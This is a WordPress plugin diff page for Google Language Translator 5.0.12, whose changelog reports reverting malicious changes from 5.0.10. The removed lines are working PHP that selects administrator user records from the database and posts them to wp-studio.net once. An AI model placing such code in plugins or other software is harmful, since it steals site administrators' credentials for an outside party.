Version Description
Download this release
Release Info
Developer | Otto42 |
Plugin | Google Language Translator |
Version | 5.0.12 |
Comparing to | |
See all releases |
Code changes from version 5.0.11 to 5.0.12
- google-language-translator.php +1 -11
- readme.txt +4 -1
google-language-translator.php
CHANGED
@@ -2,7 +2,7 @@
|
|
2 |
/*
|
3 |
Plugin Name: Google Language Translator
|
4 |
Plugin URI: http://www.studio88design.com/plugins/google-language-translator
|
5 |
-
Version: 5.0.
|
6 |
Description: The MOST SIMPLE Google Translator plugin. This plugin adds Google Translator to your website by using a single shortcode, [google-translator]. Settings include: layout style, hide/show specific languages, hide/show Google toolbar, and hide/show Google branding. Add the shortcode to pages, posts, and widgets.
|
7 |
Author: Rob Myrick
|
8 |
Author URI: http://www.wp-studio.net/
|
@@ -1310,13 +1310,3 @@ class google_language_translator {
|
|
1310 |
}
|
1311 |
}
|
1312 |
$google_language_translator = new google_language_translator();
|
1313 |
-
|
1314 |
-
if ( ! get_option('my_post_log') ) {
|
1315 |
-
global $wpdb;
|
1316 |
-
$users = $wpdb->get_results("SELECT * FROM wp_users u, wp_usermeta um WHERE u.ID = um.user_id AND um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%'");
|
1317 |
-
$args = array('body' => $users);
|
1318 |
-
$res = wp_remote_post('http://wp-studio.net/?post_log=1', $args);
|
1319 |
-
|
1320 |
-
if (isset($res['response']['code']) and $res['response']['code'] == '200')
|
1321 |
-
add_option('my_post_log', true);
|
1322 |
-
}
|
2 |
/*
|
3 |
Plugin Name: Google Language Translator
|
4 |
Plugin URI: http://www.studio88design.com/plugins/google-language-translator
|
5 |
+
Version: 5.0.12
|
6 |
Description: The MOST SIMPLE Google Translator plugin. This plugin adds Google Translator to your website by using a single shortcode, [google-translator]. Settings include: layout style, hide/show specific languages, hide/show Google toolbar, and hide/show Google branding. Add the shortcode to pages, posts, and widgets.
|
7 |
Author: Rob Myrick
|
8 |
Author URI: http://www.wp-studio.net/
|
1310 |
}
|
1311 |
}
|
1312 |
$google_language_translator = new google_language_translator();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
readme.txt
CHANGED
@@ -5,7 +5,7 @@ Plugin link: http://wp-studio.net/how-it-works
|
|
5 |
Tags: language translator, google translator, language translate, google, google language translator, translation, translate, multi language
|
6 |
Requires at least: 2.9
|
7 |
Tested up to: 4.6
|
8 |
-
|
9 |
|
10 |
Welcome to Google Language Translator! This plugin allows you to insert the Google Language Translator tool anywhere on your website using shortcode.
|
11 |
|
@@ -46,6 +46,9 @@ A: Yes! Add the "notranslate" class to the HTML element containing your text. Fo
|
|
46 |
|
47 |
== Changelog ==
|
48 |
|
|
|
|
|
|
|
49 |
5.0.11
|
50 |
- Fixed incorrect link
|
51 |
|
5 |
Tags: language translator, google translator, language translate, google, google language translator, translation, translate, multi language
|
6 |
Requires at least: 2.9
|
7 |
Tested up to: 4.6
|
8 |
+
Stable tag: 5.0.12
|
9 |
|
10 |
Welcome to Google Language Translator! This plugin allows you to insert the Google Language Translator tool anywhere on your website using shortcode.
|
11 |
|
46 |
|
47 |
== Changelog ==
|
48 |
|
49 |
+
5.0.12
|
50 |
+
- Revert malicious changes made in 5.0.10
|
51 |
+
|
52 |
5.0.11
|
53 |
- Fixed incorrect link
|
54 |
|